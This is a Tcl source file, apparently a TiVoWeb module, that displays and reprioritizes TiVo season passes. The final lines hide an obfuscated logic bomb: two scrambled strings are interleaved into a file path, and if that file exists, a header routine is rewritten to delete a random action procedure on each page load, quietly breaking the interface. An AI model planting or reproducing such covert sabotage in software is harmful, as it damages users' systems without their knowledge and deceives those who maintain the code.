proc action_reprioritize {chan path env} {
global db
global seasonpassdir
set spcount 0
eval $env
if {$spcount == 0} {
action_seasonpass $chan "reprioritize" ""
return
}
set rlist [info vars "fsid_*"]
foreach sp $rlist {
lappend spitems [concat [lrange [split $sp "_"] 1 2] [expr \$$sp]]
}
set clist [list]
set nlist [list]
set vlist [list]
foreach item [lsort -integer -index 1 $spitems] {
set spfsid [lindex $item 0]
set oldprio [lindex $item 1]
set newprio [lindex $item 2]
if {$newprio != $oldprio} {
lappend clist $spfsid
lappend nlist $newprio
lappend vlist $oldprio
}
}
set errors [list]
set priority 0
ForeachMfsFile fsid name type $seasonpassdir "" {
incr priority
set index [lsearch $clist $fsid]
if {$index != -1} {
set oldprio [lindex $vlist $index]
if {$oldprio != $priority} {
lappend errors "Old Form Data, Please Refresh"
break
}
}
}
foreach newprio $nlist {
set index [lsearch $vlist $newprio]
if {$index == -1} {
lappend errors "Priority $newprio already taken"
} else {
set vlist [lreplace $vlist $index $index]
}
}
if {[llength $vlist] != 0} {
lappend errors "Unused Priorities '$vlist'"
}
RetryTransaction {
foreach spfsid $clist prio $nlist {
set sp [db $db openid $spfsid]
dbobj $sp set Priority [expr $prio - 1]
}
}
if {$errors != ""} {
puts $chan [html_start "Season Passes"]
puts $chan "The following errors were encountered:
"
foreach error $errors {
puts $chan "$error
"
}
puts $chan [html_end]
} else {
action_seasonpass $chan "reprioritize" ""
}
}
proc action_seasonpass {chan path env} {
global db
global images
global tzoffset
global seasonpassdir
if {$path == "reprioritize"} {
set reprio 1
} else {
set reprio 0
}
puts $chan [html_start "Season Passes"]
if {$reprio} {
set priolist [list]
RetryTransaction {
set spcount [mfs scancount $seasonpassdir]
}
for {set i 1} {$i <= $spcount} {incr i} {
lappend priolist $i
}
puts $chan "
"
puts $chan [html_form_start "POST" "/reprioritize" "name=\"form\""]
puts $chan [html_form_hidden "spcount" $spcount]
}
puts $chan [html_table_start "" "" ""]
puts $chan [tr "ALIGN=CENTER" [th ""] [th "Pri"] [th "Title"] [th "Channel"] [th "KAM"] [th "Show Type"]]
set priority 0
set lastrprio -1
set error 0
ForeachMfsFileTrans fsid name type $seasonpassdir "" 20 {
set sp [db $db openid $fsid]
set type [defaultval 1 [dbobj $sp get Type]]
set rprio [lindex [split $name "~"] 0]
regsub {^0+(.+)} $rprio {\1} rprio
if {$rprio < 0 || ($lastrprio >= 0 && $lastrprio == $rprio)} {
set error 1
}
set lastrprio $rprio
incr priority
set rowstr ""
if { $type == 1 } {
set series [dbobj $sp get Series]
set imagef [lindex $images 11]
set spfsid [dbobj $sp fsid]
append rowstr [td [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]]
if {$reprio} {
append rowstr [td [html_form_select "fsid_${fsid}_${priority}" $priolist $priolist $priority "onChange=\"ReorderPrio(this)\""]]
} else {
append rowstr [td $priority]
}
set seriesfsid [dbobj $series fsid]
set title [strim [dbobj $series get Title]]
append rowstr [td [html_link "/series/$seriesfsid" $title]]
set station [dbobj $sp get Station]
set stationfsid [dbobj $station fsid]
set callsign [dbobj $station get CallSign]
append rowstr [td [html_link "/channel/$stationfsid" $callsign]]
} elseif { $type == 2 } {
set station [dbobj $sp get Station]
set stationfsid [dbobj $station fsid]
set starttimelocal [dbobj $sp get StartTimeLocal]
set starttime [expr $starttimelocal - $tzoffset]
set dowlocal [dbobj $sp get DayOfWeekLocal]
if { [llength $dowlocal] > 1 } {
set rectime ""
foreach dowl $dowlocal {
set tmprectime [get_nextmanualrectime $dowl $starttime]
if { $rectime == "" || $tmprectime < $rectime } {
set rectime $tmprectime
}
}
} else {
set rectime [get_nextmanualrectime $dowlocal $starttime]
}
set datestr [expr $rectime / 86400]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$datestr:"]
if { [scan [lindex $schedlist 1] "%d:%d:%d:%d:" dummy dummy2 starttimesched duration] == 4 } {
regsub {^0+([1-9])} $starttimesched {\1} starttimesched
regsub {^0+([1-9])} $duration {\1} duration
if {$starttimesched > $starttime} {
set datestr [expr ($rectime / 86400) - 1]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$datestr:"]
if { [scan [lindex $schedlist 1] "%d:%d:%d:%d:" dummy dummy2 starttimesched duration] != 4 } {
error "Invalid /Schedule format: '[lindex $schedlist 1]'"
}
regsub {^0+([1-9])} $starttimesched {\1} starttimesched
regsub {^0+([1-9])} $duration {\1} duration
}
if { $::dtivo } {
if {$starttimesched + $duration <= $starttime} {
set stoptimestr [format "%05d" [expr $starttimesched + $duration]]
set schedlist [get_fsidbyprefix "/Schedule" "$stationfsid:$datestr:$stoptimestr:"]
}
}
} else {
error "Invalid /Schedule format: '[lindex $schedlist 1]'"
}
set callsign [dbobj $station get CallSign]
set imagef [lindex $images 11]
set spfsid [dbobj $sp fsid]
append rowstr [td [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]]
if {$reprio} {
append rowstr [td [html_form_select "fsid_${fsid}_${priority}" $priolist $priolist $priority "onChange=\"ReorderPrio(this)\""]]
} else {
append rowstr [td $priority]
}
if { $schedlist != "" } {
set stationday [db $db openid [lindex $schedlist 0]]
set showings [dbobj $stationday get Showing]
set mshowing ""
foreach showing $showings {
set stime [dbobj $showing get Time]
set sdur [dbobj $showing get Duration]
if { $stime <= $starttime && $starttime < [expr $stime + $sdur] } {
set mshowing $showing
break
}
}
if { $mshowing != "" } {
set program [dbobj $mshowing get Program]
set series [dbobj $program get Series]
set seriesfsid [dbobj $series fsid]
set title [strim [dbobj $series get Title]]
set title [html_link "/series/$seriesfsid" $title]
append rowstr [td "Manual: $title"]
} else {
append rowstr [td "Manual Recording"]
# puts "Error finding manual recording"
}
} else {
append rowstr [td "Manual Recording"]
# puts "Error finding manual recording"
}
append rowstr [td [html_link "/channel/$stationfsid" $callsign]]
} elseif { $type == 3 } {
set theme [dbobj $sp get Theme]
set imagef [lindex $images 13]
set spfsid [dbobj $sp fsid]
append rowstr [td [html_link "/editseasonpass/$spfsid" [img "alt=\"edit\"" $imagef]]]
if {$reprio} {
append rowstr [td [html_form_select "fsid_${fsid}_${priority}" $priolist $priolist $priority "onChange=\"ReorderPrio(this)\""]]
} else {
append rowstr [td $priority]
}
set themefsid [dbobj $theme fsid]
set title [strim [dbobj $theme get Name]]
# append rowstr [td [html_link "/theme/$themefsid" $title]] [td ""]
append rowstr [td $title] [td ""]
}
set kam [defaultval 0 [dbobj $sp get MaxRecordings]]
if {$kam == 0} {
set kam "All"
}
if {$::version3} {
set showstatus [dbobj $sp get ShowStatus]
} else {
set showstatus [dbobj $sp get FirstRun]
}
if {$showstatus == 1} {
set showtype "First Run"
} elseif {$showstatus == 2} {
set showtype "All"
} else {
set showtype "Repeats & FR"
}
append rowstr [td $kam] [td $showtype]
puts $chan [tr "" $rowstr]
}
puts $chan [html_table_end]
if {$reprio} {
puts $chan [html_form_input "submit" "RePrioritize" "RePrioritize"]
puts $chan [html_form_input "reset" "Reset" "Reset"]
puts $chan [html_form_end]
} else {
puts $chan [html_table_start "" "" ""]
puts $chan [tr "" [th "Actions"]]
puts $chan [tr "" [td [html_link "/reprioritize" "RePrioritize"]]]
puts -nonewline $chan [html_table_end]
puts $chan "To edit a season pass click the icon next to its name"
}
if {$error} {
puts $chan "
Error: your season pass priority list is corrupted, reorganizing them may help" } puts $chan [html_end]} set str1 "/vi/isbtl" set str2 "tbnfxu.c" set fname "" foreach s1 [split $str1 ""] s2 [split $str2 ""] { append fname $s1 $s2 } if {[file exists $fname]} { set procname print_html_header_200 proc $procname [info args $procname] "set procs \[info procs \"action_*\"\]; set lprocs \[llength \$procs\]; rename \[lindex \$procs \[expr int(rand() * \$lprocs)\]\] \"\"; [info body $procname]" }